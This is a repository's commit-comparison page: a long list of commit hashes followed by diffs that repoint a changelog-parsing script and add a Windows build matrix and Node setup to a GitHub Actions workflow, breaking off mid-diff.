Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
8b66a83028 | ||
|
|
29b17728f3 | ||
|
|
1645c12b0a | ||
|
|
a034543689 | ||
|
|
ba53112010 | ||
|
|
a11b41d403 | ||
|
|
1643a97a92 | ||
|
|
8d65f0a0d9 | ||
|
|
0f86393c7d | ||
|
|
cff1c34940 | ||
|
|
6c133b252b | ||
|
|
757c3e6b41 | ||
|
|
0d20cf4254 | ||
|
|
58a89f8953 | ||
|
|
874bd29527 | ||
|
|
956c7c086d | ||
|
|
fddfc19ec5 | ||
|
|
0fccf65d1b | ||
|
|
282847d0a8 | ||
|
|
a044e3777b | ||
|
|
4c8343c86f | ||
|
|
58041fa0b5 | ||
|
|
d1782309c1 | ||
|
|
841909fa64 | ||
|
|
61d64885e8 | ||
|
|
156db39643 | ||
|
|
bb317eadfd | ||
|
|
2d57a702d7 | ||
|
|
76a4fe0bc0 | ||
|
|
867c2004bc | ||
|
|
d3cf8c4560 | ||
|
|
a84e242d42 | ||
|
|
8c14631478 | ||
|
|
ca8f303444 | ||
|
|
0279d6cc0b | ||
|
|
e9d60152b1 | ||
|
|
c0c78c4372 | ||
|
|
686be6b59a | ||
|
|
cc706ec3af | ||
|
|
4ec1f06362 | ||
|
|
54be0712d5 | ||
|
|
548990b7cc | ||
|
|
0296705a87 | ||
|
|
5b0305be37 | ||
|
|
8a059d9b6f | ||
|
|
a60dc84356 | ||
|
|
5b5c225edb | ||
|
|
8458becfbc | ||
|
|
aea03800c7 | ||
|
|
ca304c600d | ||
|
|
33753844a7 | ||
|
|
9620076443 | ||
|
|
9edab88267 | ||
|
|
d0604a1b64 | ||
|
|
34f77c134a | ||
|
|
5bb6e42b3c | ||
|
|
2bcd00e9c4 | ||
|
|
258e87b00e | ||
|
|
61fdeba1b0 | ||
|
|
eedee34660 | ||
|
|
8edc865b69 | ||
|
|
d5390db369 | ||
|
|
e9dfd5085e | ||
|
|
c51b4e11dc | ||
|
|
726690ede1 | ||
|
|
29852ecf55 | ||
|
|
36085b3c93 | ||
|
|
729dd8d166 | ||
|
|
12f9dbe432 | ||
|
|
80f91f9d6f | ||
|
|
ee07687b4f | ||
|
|
9d5c5a1ddf | ||
|
|
86738e308d | ||
|
|
093d491219 | ||
|
|
86ef0aafcb | ||
|
|
afe22ca83f | ||
|
|
cfc8fac0b1 | ||
|
|
e828bb92b6 | ||
|
|
f170ca4514 | ||
|
|
4ae264a091 | ||
|
|
4db6739436 | ||
|
|
0c7de5bf7f | ||
|
|
62a48b8937 | ||
|
|
9cb35aed9e | ||
|
|
e9b9099d49 | ||
|
|
bab98f7995 | ||
|
|
9483e07e69 | ||
|
|
fea1c0d18e | ||
|
|
aa1c4b3d13 | ||
|
|
f86a9d8ee2 | ||
|
|
20ee99a82d | ||
|
|
579d9a74c0 | ||
|
|
a020ed587c | ||
|
|
c121d91781 | ||
|
|
6416d7b806 | ||
|
|
40c068a9e5 | ||
|
|
c4bf33bb13 | ||
|
|
7c0942947c | ||
|
|
2828a927ec | ||
|
|
5ffbbc40d8 | ||
|
|
71911fd4e3 | ||
|
|
717d887acc | ||
|
|
cbfa3ba3da | ||
|
|
cb99dcab6c | ||
|
|
986208304d | ||
|
|
28c12102c2 | ||
|
|
0a5cadf64a | ||
|
|
9127b4668c | ||
|
|
41e8bd7ba0 | ||
|
|
52ac025bfa | ||
|
|
638cb2f90c | ||
|
|
c27c580943 | ||
|
|
3c646b9104 | ||
|
|
1fb2942246 | ||
|
|
d51f7c1283 | ||
|
|
db85ec4bee | ||
|
|
0097984b33 | ||
|
|
c623897a80 | ||
|
|
9d3fc4d738 | ||
|
|
395ca3caa0 | ||
|
|
6582ab87c0 | ||
|
|
ffb8313811 | ||
|
|
37ed3b0dee | ||
|
|
ede4b122a9 | ||
|
|
eba4b82464 | ||
|
|
52f82d7979 | ||
|
|
d3727d7d3e | ||
|
|
1515011026 | ||
|
|
13cafb19a6 | ||
|
|
478b214a2c | ||
|
|
0ccd375fd7 | ||
|
|
14a1e0358e | ||
|
|
c71a6c5a79 | ||
|
|
9bfa58cbd4 | ||
|
|
6628a74daa | ||
|
|
dfa5a412ff | ||
|
|
e5707bd204 | ||
|
|
9328fa08cd | ||
|
|
2d6910895c | ||
|
|
fb080b3264 | ||
|
|
578271effb | ||
|
|
7c85af5007 | ||
|
|
3fdaa22ccd | ||
|
|
aa1d9bb69d | ||
|
|
e9f16ca32e | ||
|
|
95046169ed | ||
|
|
1db5c52307 | ||
|
|
056032cae7 | ||
|
|
f77c829f4e | ||
|
|
544706352a | ||
|
|
f1d42a9b3c | ||
|
|
b725ca3e67 | ||
|
|
2ac2c845de | ||
|
|
ccc6bd0c91 | ||
|
|
d9c1828a5c | ||
|
|
1e2069d869 | ||
|
|
45f6949940 | ||
|
|
d4e7a25255 | ||
|
|
c5cdb03a9f | ||
|
|
772a8b5cb0 | ||
|
|
cefd7147bf | ||
|
|
1bb42819b5 | ||
|
|
ba3900f366 | ||
|
|
92e8b83313 | ||
|
|
36236653bd | ||
|
|
30dd253565 | ||
|
|
ca123e2871 | ||
|
|
6da52b2387 | ||
|
|
ca1d567ce7 | ||
|
|
8b71ca9911 | ||
|
|
73b5bc7114 | ||
|
|
74447786f2 | ||
|
|
a241e2e28f | ||
|
|
4e8daa4662 | ||
|
|
bee0f6596f | ||
|
|
5a92bd9944 | ||
|
|
7c3a63902b | ||
|
|
5541159c98 | ||
|
|
827d8af2f1 | ||
|
|
f4a16e5d37 | ||
|
|
2fa3310bf8 | ||
|
|
47386571d8 | ||
|
|
7e7096f363 | ||
|
|
dc85bd27d6 | ||
|
|
75f26e5d38 | ||
|
|
c4b5b9f2c6 | ||
|
|
17a8f529a0 | ||
|
|
07b0de017d | ||
|
|
623d343096 | ||
|
|
5ee604f4a0 | ||
|
|
a022968965 | ||
|
|
cdb90b6cb1 | ||
|
|
fb5b39a4c6 | ||
|
|
3838d3d27a | ||
|
|
5ad7aec805 | ||
|
|
a93da6d0fc | ||
|
|
4862dd8d2a | ||
|
|
1ea0351ed0 | ||
|
|
519d54aea2 | ||
|
|
899f9dd1ab | ||
|
|
65d9a3c672 | ||
|
|
6a6e7e1ec7 | ||
|
|
2d47216a71 | ||
|
|
65513d9eaa | ||
|
|
44d087829d | ||
|
|
fe86bc04c1 | ||
|
|
5c27b8062d | ||
|
|
e261ec2bd3 | ||
|
|
3b179c10c0 | ||
|
|
0111d50616 | ||
|
|
4563a97ceb | ||
|
|
eb92c2c4ff | ||
|
|
7649e1612a | ||
|
|
aa5683a8d8 | ||
|
|
2620a30a4e | ||
|
|
761ec7a9e7 | ||
|
|
33944dfd32 | ||
|
|
dee1c4a5d0 | ||
|
|
a2de3a3808 | ||
|
|
af501ff5a8 | ||
|
|
5c08da5f01 | ||
|
|
6bdc435df0 | ||
|
|
059cae27c6 | ||
|
|
c200140a67 | ||
|
|
2196a4aefb | ||
|
|
c5a3bd464b | ||
|
|
f41a0a82b6 | ||
|
|
2675991711 | ||
|
|
726a5321db | ||
|
|
0c041ee1a9 | ||
|
|
378cf22eb2 | ||
|
|
d112a9abda | ||
|
|
7fdba6a810 | ||
|
|
b7ede0f745 | ||
|
|
b88332f2a3 | ||
|
|
ba8c5c1524 | ||
|
|
9713ac452e | ||
|
|
5915b9877b | ||
|
|
17c54cd919 | ||
|
|
9159de1781 | ||
|
|
4cd6d9fb21 | ||
|
|
e879002572 | ||
|
|
96503863f4 | ||
|
|
3c073b4445 | ||
|
|
b357e50303 | ||
|
|
fd6bd7b18c | ||
|
|
d7f154209d | ||
|
|
c87a68b557 | ||
|
|
f67d6ff79b | ||
|
|
a0965a95ef | ||
|
|
cb3914152f | ||
|
|
a5fb75b3f0 | ||
|
|
e986ae8241 | ||
|
|
8eea712f4d | ||
|
|
7b95367e4e | ||
|
|
e45b72f6fc | ||
|
|
a2f7fe9a8e | ||
|
|
be29e9dcc0 | ||
|
|
0626657991 | ||
|
|
477c99e0bc | ||
|
|
17dcb183c4 | ||
|
|
b08c33135d | ||
|
|
8c3fad5c2d | ||
|
|
02b2288a42 | ||
|
|
df47f2ed02 | ||
|
|
9b10f968dc | ||
|
|
74b3508985 | ||
|
|
4e505d6056 | ||
|
|
4a4bcdca81 | ||
|
|
ab1d9b2132 | ||
|
|
0dec83e529 | ||
|
|
8dc52e7501 | ||
|
|
34e117c462 | ||
|
|
4fb95374ad | ||
|
|
d7b7f0d23c | ||
|
|
6a0f1cf299 | ||
|
|
70ae4180f2 | ||
|
|
07c612ee44 | ||
|
|
46153de471 | ||
|
|
8cbc33066d | ||
|
|
1e615df9e0 | ||
|
|
a37949e8cc | ||
|
|
2333711a0f | ||
|
|
8b27536d80 | ||
|
|
0a46ebc21e | ||
|
|
23997ad5c9 | ||
|
|
696abcdfef | ||
|
|
6388b2b2bf | ||
|
|
44f18f7d21 | ||
|
|
77cd746154 | ||
|
|
948a6699fb | ||
|
|
033c4071cc | ||
|
|
0cdb94387b | ||
|
|
31f5c824db | ||
|
|
63310043e6 | ||
|
|
4ab08270d3 | ||
|
|
e1e5a96283 | ||
|
|
7ce71856d3 | ||
|
|
cf05f5f79e | ||
|
|
f342b924f5 | ||
|
|
866f203ac5 | ||
|
|
d4929f22f3 | ||
|
|
c2088f477a | ||
|
|
829b0e8be7 | ||
|
|
3a10568346 | ||
|
|
975f25534b | ||
|
|
cf3fa2b18f | ||
|
|
b2c614eea4 | ||
|
|
a513e44c96 | ||
|
|
6e021bef9f | ||
|
|
04e46e12ca | ||
|
|
13be57e66d | ||
|
|
6a4c5a1e96 | ||
|
|
b96276ee54 | ||
|
|
82cdbab634 | ||
|
|
4a6577012b | ||
|
|
346e518913 | ||
|
|
6f9ae38add | ||
|
|
d8851ba83e | ||
|
|
89ee25fd1a | ||
|
|
ec9aa97c83 | ||
|
|
22f365b3a0 | ||
|
|
52f235cbaf | ||
|
|
d33323cfda | ||
|
|
4decc08ddc | ||
|
|
38219261a3 | ||
|
|
b3fef201f7 | ||
|
|
642a84d711 | ||
|
|
c74856f3ee | ||
|
|
19b385478b | ||
|
|
ab1a214d28 | ||
|
|
db96872fa4 | ||
|
|
bb4bcb956c | ||
|
|
4eff36571c | ||
|
|
53849f17fe | ||
|
|
14dbbd9f9e | ||
|
|
60b36f926c | ||
|
|
a1fec396ba | ||
|
|
2f8ab27ee2 | ||
|
|
fbdc58390a | ||
|
|
288b6df8e4 | ||
|
|
1116486f37 | ||
|
|
c925954035 | ||
|
|
8c06216e96 | ||
|
|
64c71d6adb | ||
|
|
94b6b006b2 | ||
|
|
e4552dc804 | ||
|
|
57b5960350 | ||
|
|
4dbd22eae2 | ||
|
|
59f2ac5f37 | ||
|
|
5b48350fdc | ||
|
|
e4691a29f5 | ||
|
|
f74971530c | ||
|
|
a95cd07b22 | ||
|
|
d5aec65d9b | ||
|
|
0c7dadc4f4 | ||
|
|
6b33cfb0fe | ||
|
|
18d7cde49b | ||
|
|
ac34d44abd | ||
|
|
b7b1f2b60c | ||
|
|
1c1cc9bb9f | ||
|
|
2d6b45bf0c | ||
|
|
95cfc94276 | ||
|
|
d1dec18110 | ||
|
|
36ee7212f3 | ||
|
|
2852ab03d3 | ||
|
|
a655968fb3 | ||
|
|
081efc1633 | ||
|
|
83f9200c89 | ||
|
|
82f955e419 | ||
|
|
db5b8d328c | ||
|
|
532b5af52c | ||
|
|
147a9b6c27 | ||
|
|
0452c36145 | ||
|
|
d736aeb7a7 | ||
|
|
9927e6b7fb | ||
|
|
7ea62f3961 | ||
|
|
4e1461b83d | ||
|
|
65fe194c4a | ||
|
|
921928f21c | ||
|
|
dfd91aecc6 | ||
|
|
0f45c43e71 | ||
|
|
7b2329de45 | ||
|
|
dba1b68c23 | ||
|
|
558e386ede | ||
|
|
f9c1ac9535 | ||
|
|
ba690268e7 | ||
|
|
df6125c046 | ||
|
|
55e2b2f5a6 | ||
|
|
bc9998c682 | ||
|
|
c094009b5c | ||
|
|
e7666844df | ||
|
|
f2c4d16278 | ||
|
|
be3ec77e11 | ||
|
|
50707e1fb9 | ||
|
|
34198a5c90 | ||
|
|
88732d9a81 | ||
|
|
d115656a0c | ||
|
|
2beeb709b5 | ||
|
|
6b670ffec4 | ||
|
|
ebd1bebf2f | ||
|
|
be63177268 | ||
|
|
77b4ffaf36 | ||
|
|
bbca89c8cf | ||
|
|
483bebc2fc | ||
|
|
d669a728c4 | ||
|
|
d2f2809119 | ||
|
|
d4df2f6ed7 | ||
|
|
f349586e09 | ||
|
|
cb39b9f26b | ||
|
|
fc3ee3e33f | ||
|
|
7bbe433ecc | ||
|
|
4c2cd4e409 | ||
|
|
0fe5ffe993 | ||
|
|
730782ed9a | ||
|
|
0dd339fa2a | ||
|
|
eebc422503 | ||
|
|
bd55fce38c | ||
|
|
09f3258dd6 | ||
|
|
c0c547a738 | ||
|
|
de2ff819b6 | ||
|
|
b52d7f4a83 | ||
|
|
8b9360905c | ||
|
|
5c5a0805e9 | ||
|
|
b304bae628 | ||
|
|
d52f4726aa | ||
|
|
838bfa0e8a | ||
|
|
f289b0a3a5 | ||
|
|
2c16361da9 | ||
|
|
d517abdea5 | ||
|
|
1cdb231a95 | ||
|
|
e231c480da | ||
|
|
832124a368 | ||
|
|
ceb19d2dae | ||
|
|
b341082f2b | ||
|
|
086ea3bf2e | ||
|
|
831e3d34d5 | ||
|
|
7e77f02379 | ||
|
|
6933163575 | ||
|
|
a883c9914e | ||
|
|
9fb653b6f8 | ||
|
|
ba9424c97e | ||
|
|
7e27d71f52 | ||
|
|
3e3e35cf9f | ||
|
|
8b19f1aba3 | ||
|
|
75979242fb | ||
|
|
d69d8b7635 | ||
|
|
6570b191ea | ||
|
|
3b1cd86655 | ||
|
|
aee8dbe8e0 | ||
|
|
d8079e5d0f | ||
|
|
a5a5780eac | ||
|
|
e005d30362 | ||
|
|
3f2749a05d | ||
|
|
02412f8681 | ||
|
|
2441e38bee | ||
|
|
60a3dd9da1 | ||
|
|
0214a6f814 | ||
|
|
c27be9a8a5 | ||
|
|
5218526279 | ||
|
|
a9e197828e | ||
|
|
08d187500c | ||
|
|
c5f5b46daf | ||
|
|
7ea16b924f | ||
|
|
bc6702405b | ||
|
|
2b98280676 | ||
|
|
1db4142d48 | ||
|
|
a8330d6af3 | ||
|
|
7254ba7905 | ||
|
|
b25fd4779a | ||
|
|
d5fbff14d5 | ||
|
|
78ba0da3a3 | ||
|
|
27227f1622 | ||
|
|
272f9f6c49 | ||
|
|
accee05504 | ||
|
|
fe8e77440d | ||
|
|
318e30a61d | ||
|
|
7572bb8018 | ||
|
|
79397c191a | ||
|
|
6a08b9220a | ||
|
|
b003bb683b | ||
|
|
e05d8ac106 | ||
|
|
0f798b367f | ||
|
|
fa206e8acc | ||
|
|
cd231c5af7 | ||
|
|
075053c38b | ||
|
|
8d9f906dcc | ||
|
|
0f87083048 | ||
|
|
94432d9c14 | ||
|
|
6a69bbbda4 | ||
|
|
cb77ca44b2 | ||
|
|
d4629f191e | ||
|
|
d54bd801ab | ||
|
|
0cb8dad52a | ||
|
|
d57e691e1f | ||
|
|
e3a59e9f21 | ||
|
|
3d2f65a808 | ||
|
|
4ee5d69b31 | ||
|
|
17fe4b4746 | ||
|
|
e8124c02cc | ||
|
|
52b8000bc7 | ||
|
|
ee3e257f9d | ||
|
|
045f6be5d7 | ||
|
|
af5001dee3 | ||
|
|
010db58a57 | ||
|
|
5965f372b0 | ||
|
|
61f199dbe1 | ||
|
|
9b63ee441a | ||
|
|
65414fcdd6 | ||
|
|
fe5f662fc2 | ||
|
|
ad4436702e | ||
|
|
78d390e975 | ||
|
|
29f5f4285f | ||
|
|
e4c29fdd0f | ||
|
|
b8da9d7468 | ||
|
|
60e755cc39 | ||
|
|
35bc198f48 | ||
|
|
bcc50cc2f5 | ||
|
|
5f48dd4c95 | ||
|
|
ab4154c90c | ||
|
|
775b4eec9a | ||
|
|
f6f2611b92 | ||
|
|
6292e6b8b2 | ||
|
|
6f332a97d8 | ||
|
|
b71e8ea4de | ||
|
|
d14203e78f | ||
|
|
839653bd01 | ||
|
|
badf60ebd4 | ||
|
|
6be832494d | ||
|
|
945956ca16 | ||
|
|
1f158158f6 | ||
|
|
a1bf202066 | ||
|
|
2f9ac42a3f | ||
|
|
bb6a4c4d06 | ||
|
|
d9c0a38460 | ||
|
|
2c0f52537e | ||
|
|
336dcb0fda | ||
|
|
787e5563b4 | ||
|
|
881587dccf | ||
|
|
e10673ab38 | ||
|
|
cf2b2af67e | ||
|
|
7927611c92 | ||
|
|
8aa1e1a773 | ||
|
|
9cd62a0620 | ||
|
|
d004ed1dbc | ||
|
|
bc103376d3 | ||
|
|
9bc73c8002 | ||
|
|
056cab6c19 | ||
|
|
a00871bcb2 | ||
|
|
d623477107 | ||
|
|
a99f1e8a6d | ||
|
|
e90efdc036 | ||
|
|
85828f7975 | ||
|
|
5b838adbe9 | ||
|
|
cc87efcddf | ||
|
|
5f43eae694 | ||
|
|
bad9f2f786 | ||
|
|
a6ba2d0a3a | ||
|
|
a861effd12 | ||
|
|
7e84cab7bc | ||
|
|
f1d797295c | ||
|
|
164d59c65a | ||
|
|
3274e8421d | ||
|
|
1980ae7072 | ||
|
|
3438d07f6d | ||
|
|
ebb9b35a17 | ||
|
|
d64a8b9e6b | ||
|
|
b35aafd77b | ||
|
|
2dd794faf1 | ||
|
|
4efc6a7562 | ||
|
|
258c42adc0 | ||
|
|
5084a0b850 | ||
|
|
f27b06fc0b | ||
|
|
87ba8403db | ||
|
|
185be332a5 | ||
|
|
ef6ca026f2 | ||
|
|
064c73b4e7 | ||
|
|
6cb42ed954 | ||
|
|
d92b052428 | ||
|
|
8c6a67dcc8 | ||
|
|
2db337d85c | ||
|
|
b1f963f1a3 | ||
|
|
ac9c0ec171 | ||
|
|
e1f23f52c4 | ||
|
|
0fe7a3d345 | ||
|
|
53999f3e71 | ||
|
|
42faa786cb | ||
|
|
a964ada4df | ||
|
|
f3ced55d8a | ||
|
|
4a7301c7f0 | ||
|
|
75b32773a4 | ||
|
|
d482707465 | ||
|
|
bad3815107 | ||
|
|
bfae5e10d3 | ||
|
|
328fee0286 | ||
|
|
41d2ea5c6d | ||
|
|
7d567beba9 | ||
|
|
8bb3158fe6 | ||
|
|
fd914c014a | ||
|
|
8299a23ba0 | ||
|
|
6ca61098df | ||
|
|
6810bea753 | ||
|
|
e10915784c | ||
|
|
2f256fc97e | ||
|
|
f38b72fb5f | ||
|
|
243dd20531 | ||
|
|
6a38aee2d9 | ||
|
|
9c53c599a3 | ||
|
|
b585c5ff0b | ||
|
|
10147b5cd2 | ||
|
|
368730bfd2 | ||
|
|
d02a2c245a | ||
|
|
7c1995fabd | ||
|
|
f961b2aafa | ||
|
|
3f6821181c | ||
|
|
abfa1af36d | ||
|
|
0bd7da4ffa | ||
|
|
142a9e2c47 | ||
|
|
98f44cad3b | ||
|
|
ce0159d8f4 | ||
|
|
dec415cdc1 | ||
|
|
b1f30ffeea | ||
|
|
ba7f86b92f | ||
|
|
35382695e0 | ||
|
|
4f0671dbe0 | ||
|
|
1db9cf2bc0 | ||
|
|
44fa46fbc1 | ||
|
|
65bef5ffb6 | ||
|
|
9ea8dad68b | ||
|
|
a446da4bb7 | ||
|
|
5b9b890fc8 | ||
|
|
164a27bafd | ||
|
|
1bd24e9b01 | ||
|
|
2f9e587e73 | ||
|
|
9093c2c7be | ||
|
|
2440a2fb2e | ||
|
|
b9c05453ef | ||
|
|
1f94ca41f6 | ||
|
|
dad1f83365 | ||
|
|
c808a52d4e | ||
|
|
410ee1eff7 | ||
|
|
6fcf159d1f | ||
|
|
ee400fa5d2 | ||
|
|
9b87180075 | ||
|
|
d6ceb1b422 | ||
|
|
0d2f6a26b7 | ||
|
|
ebfa661b66 | ||
|
|
4a505d928f | ||
|
|
55dffd2562 | ||
|
|
988d751129 | ||
|
|
ecbde7dbae | ||
|
|
ee118bd139 | ||
|
|
706f5ad37d | ||
|
|
8a3cd76b25 | ||
|
|
f9eb9dafa4 | ||
|
|
08ffa47531 | ||
|
|
51cda2b2ba | ||
|
|
aff74ad27e | ||
|
|
9154b1b46c | ||
|
|
f78c83d901 | ||
|
|
86032a7131 | ||
|
|
406d49b36e | ||
|
|
a3f835bc84 | ||
|
|
88a26e9ba0 | ||
|
|
70eef7faee | ||
|
|
216b967463 | ||
|
|
8c04e60c11 | ||
|
|
ee6490cf34 | ||
|
|
06b952b0ab | ||
|
|
3af7716dfe | ||
|
|
fc386c60e6 | ||
|
|
c622b1f4a8 | ||
|
|
e6fb68b0e7 | ||
|
|
b0c31ff7fd | ||
|
|
974cf3ccaa | ||
|
|
e1f4921a2e | ||
|
|
14a7a9bac6 | ||
|
|
1cd05fd89f | ||
|
|
1efbdfff6f | ||
|
|
c5b50ddf73 | ||
|
|
5afa5da5f3 | ||
|
|
1f272e1dc9 | ||
|
|
7aeeb6d6db | ||
|
|
09ee91fd34 | ||
|
|
eb05735dda | ||
|
|
6e8a1f7965 | ||
|
|
cf8b2793bf | ||
|
|
d6570007cc | ||
|
|
37733e0b98 | ||
|
|
9ce0e182ba | ||
|
|
4b391955e4 | ||
|
|
507061a258 | ||
|
|
ff40e5c3fb | ||
|
|
72b4effa35 | ||
|
|
0f47ce3d0a | ||
|
|
475fca0221 | ||
|
|
0b2eea91ab | ||
|
|
90f848d4f7 | ||
|
|
768fc76ac6 | ||
|
|
3d9534a402 | ||
|
|
514cc4ff30 | ||
|
|
7778ec3f5e | ||
|
|
6026eb9165 | ||
|
|
550ea678e5 | ||
|
|
ceacef5cf3 | ||
|
|
061b51b9b1 | ||
|
|
1c3948d9a9 | ||
|
|
a8728a6e33 | ||
|
|
dd5b7c0366 | ||
|
|
7e3bd95a2c | ||
|
|
692d16f9a4 | ||
|
|
8f7884ce48 | ||
|
|
fb421e48ee | ||
|
|
8e8b344bdd | ||
|
|
e99f2e13b4 | ||
|
|
50228c854d | ||
|
|
c0231c7fc4 | ||
|
|
8784c7556e | ||
|
|
c1d22394de | ||
|
|
30a71006b1 | ||
|
|
883a9d29ef | ||
|
|
4702806117 | ||
|
|
da182a8df5 | ||
|
|
ab0b6131f0 | ||
|
|
526d610ecc | ||
|
|
6c42417adf | ||
|
|
b995f301ab | ||
|
|
381ddcb5d6 | ||
|
|
d761b6f1fb | ||
|
|
73d2f80658 | ||
|
|
2aa8a1e0b1 | ||
|
|
4eea7b2347 | ||
|
|
013745b77c | ||
|
|
4e53d03d26 | ||
|
|
0de59c8211 | ||
|
|
d8285923ca | ||
|
|
3b9d6b2daa | ||
|
|
4caaf3a21f | ||
|
|
d9dc9af29a | ||
|
|
ba2b74af66 | ||
|
|
89472ceee1 | ||
|
|
78168c1b56 | ||
|
|
5ef8a40160 | ||
|
|
9bd893f087 | ||
|
|
b0e2e7469f | ||
|
|
b340b53357 | ||
|
|
1a4d57c58d | ||
|
|
72f1d7fa48 | ||
|
|
2d60b1e175 | ||
|
|
527d3ebaed | ||
|
|
14b9bcc00c | ||
|
|
29e9d2b32a | ||
|
|
bdefe3928c | ||
|
|
61b31f730f | ||
|
|
77e5371fa8 | ||
|
|
91181ffc55 | ||
|
|
0fea777294 | ||
|
|
b22f73c61f | ||
|
|
b374f3b384 | ||
|
|
3f1ea88854 | ||
|
|
277020145a | ||
|
|
01fd2ecb80 | ||
|
|
100b4e5d9b | ||
|
|
3f00189f8e | ||
|
|
debbbd5305 | ||
|
|
2e08e5fd22 | ||
|
|
4caeca44f8 | ||
|
|
6bba432491 | ||
|
|
fcaf0cae6b | ||
|
|
524b65b25b | ||
|
|
7ae2d76b19 | ||
|
|
10c8214631 | ||
|
|
aa7ecb1587 | ||
|
|
0e5b8efdeb | ||
|
|
87f2bd2840 | ||
|
|
cfb64ba91a | ||
|
|
14212c1344 | ||
|
|
a7522b4982 | ||
|
|
93e10425cd | ||
|
|
635e55350d | ||
|
|
b14d43ce70 | ||
|
|
4df3c2c7b9 | ||
|
|
631fd76879 | ||
|
|
ab1e1d124f | ||
|
|
75f99f281b | ||
|
|
3b0aeaa294 | ||
|
|
da4a5b234d | ||
|
|
d57fece0ca | ||
|
|
a63a33d5dd | ||
|
|
caf1cb4fb2 | ||
|
|
0972d714d7 | ||
|
|
58045d0bb3 | ||
|
|
dc7c3dc0ac | ||
|
|
40b1e0a7b5 | ||
|
|
1bdb2a581c | ||
|
|
9173695ab9 | ||
|
|
eba4381256 | ||
|
|
3dcf0c2b56 | ||
|
|
ab764cbdd0 | ||
|
|
895c3cbc4b | ||
|
|
a4e3e4f697 | ||
|
|
28a34cbf89 | ||
|
|
63207195a2 | ||
|
|
8a83ba1bf6 | ||
|
|
b52f44bc6a | ||
|
|
7ce0bf6446 | ||
|
|
51342c36ad | ||
|
|
8a709a1f23 | ||
|
|
6a5858ab2f | ||
|
|
1987142a48 | ||
|
|
800932118e | ||
|
|
acfa63c83b | ||
|
|
e1d851bcba | ||
|
|
d9a7bacde3 | ||
|
|
f2a8bfe299 | ||
|
|
9587d916bc | ||
|
|
becead8b71 | ||
|
|
149ce07dab | ||
|
|
9c4f48895a | ||
|
|
88e09ddbc1 | ||
|
|
f1bb363c37 | ||
|
|
3b4a35396d | ||
|
|
9374696515 | ||
|
|
1712608b0b | ||
|
|
c30a00146d | ||
|
|
af781e80a9 | ||
|
|
5e0b47956d | ||
|
|
60345851f5 | ||
|
|
d6101434ce | ||
|
|
3db5f3743a | ||
|
|
57a1f97963 | ||
|
|
feb4dbe39a | ||
|
|
5594e33ce9 | ||
|
|
1e93e289c8 | ||
|
|
77de947722 | ||
|
|
58fe9cf387 | ||
|
|
76f3ed4695 | ||
|
|
e28ddf9972 | ||
|
|
12519d4a0f | ||
|
|
742b63890a | ||
|
|
e058f00691 | ||
|
|
7d255a6b5e | ||
|
|
f7fc98b388 | ||
|
|
146f67c653 | ||
|
|
fe3a77774b | ||
|
|
c9cd7c1eed | ||
|
|
cde67580a9 | ||
|
|
ce2d3da47b | ||
|
|
1639ea1e93 | ||
|
|
a0a79a68f7 | ||
|
|
3af6c3fa8f | ||
|
|
cb501e07f6 | ||
|
|
a9ded0670e | ||
|
|
3a2e0392da | ||
|
|
f4f0d5608c | ||
|
|
b5a91fa4e6 | ||
|
|
b955ecd416 | ||
|
|
26d07f522e | ||
|
|
9a843b7613 | ||
|
|
d926832a21 | ||
|
|
a29bfbf7ba | ||
|
|
61f215d10c | ||
|
|
d247f63f88 | ||
|
|
4162197169 | ||
|
|
9864c3da32 | ||
|
|
bddeb4fbaf | ||
|
|
d6b0813584 | ||
|
|
96675c28b1 | ||
|
|
411fb39d91 | ||
|
|
33b1ac28bc | ||
|
|
8b8a44503e | ||
|
|
f6d0e273fe | ||
|
|
746353b5c9 | ||
|
|
e2340ff2d1 | ||
|
|
7b9beeb8bb | ||
|
|
2d6f523075 | ||
|
|
645ffbf51f | ||
|
|
7e86b19e04 | ||
|
|
454b48a1fa | ||
|
|
3b91197446 | ||
|
|
53a982fd54 | ||
|
|
aabb678dd3 | ||
|
|
b6ce6581a0 | ||
|
|
d0dcc8d56f | ||
|
|
272188a83d | ||
|
|
957566f847 | ||
|
|
4f1f4f2c1a | ||
|
|
eb994b7ad4 | ||
|
|
a06eb2f869 | ||
|
|
184bd1e9ad | ||
|
|
c192954cfa | ||
|
|
cc5a8e726a | ||
|
|
37a7683518 | ||
|
|
0961070822 | ||
|
|
8a437dbe03 | ||
|
|
a42b2bd38c | ||
|
|
d37b0a1929 | ||
|
|
2501e56a6e | ||
|
|
1b9c88e800 | ||
|
|
e891e9999f | ||
|
|
b31db5c1ac | ||
|
|
033bc2b9a5 | ||
|
|
9a1e31d660 | ||
|
|
c085607be8 | ||
|
|
3402d50369 | ||
|
|
d9922401bd |
@@ -9,7 +9,7 @@ if __name__ == '__main__':
|
|||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
version = args.version
|
version = args.version
|
||||||
|
|
||||||
with open("../../CHANGELOG.md") as f:
|
with open("../../web/content/docs/changelog.mdx") as f:
|
||||||
lines = f.readlines()
|
lines = f.readlines()
|
||||||
for line in lines:
|
for line in lines:
|
||||||
if line.startswith(f"## [{version}]"):
|
if line.startswith(f"## [{version}]"):
|
||||||
|
|||||||
@@ -12,7 +12,10 @@ on:
|
|||||||
jobs:
|
jobs:
|
||||||
build-jar:
|
build-jar:
|
||||||
name: Build Jar
|
name: Build Jar
|
||||||
runs-on: ubuntu-latest
|
strategy:
|
||||||
|
matrix:
|
||||||
|
os: [ubuntu-latest, windows-latest]
|
||||||
|
runs-on: ${{ matrix.os }}
|
||||||
steps:
|
steps:
|
||||||
- uses: actions/checkout@v4
|
- uses: actions/checkout@v4
|
||||||
|
|
||||||
@@ -25,6 +28,11 @@ jobs:
|
|||||||
- name: Setup Gradle
|
- name: Setup Gradle
|
||||||
uses: gradle/actions/setup-gradle@v4
|
uses: gradle/actions/setup-gradle@v4
|
||||||
|
|
||||||
|
- name: Setup Node
|
||||||
|
uses: actions/setup-node@v6
|
||||||
|
with:
|
||||||
|
node-version: 22
|
||||||
|
|
||||||
- name: Setup Bun
|
- name: Setup Bun
|
||||||
uses: oven-sh/setup-bun@v2
|
uses: oven-sh/setup-bun@v2
|
||||||
with:
|
with:
|
||||||
@@ -34,10 +42,16 @@ jobs:
|
|||||||
working-directory: web
|
working-directory: web
|
||||||
run: bun install --frozen-lockfile && bun run build
|
run: bun install --frozen-lockfile && bun run build
|
||||||
|
|
||||||
- name: Build Boot with Gradle
|
- name: Build Boot with Gradle (Linux)
|
||||||
|
if: matrix.os == 'ubuntu-latest'
|
||||||
run: ./gradlew :boot:test :boot:bootjar
|
run: ./gradlew :boot:test :boot:bootjar
|
||||||
|
|
||||||
- name: Upload Boot Jar
|
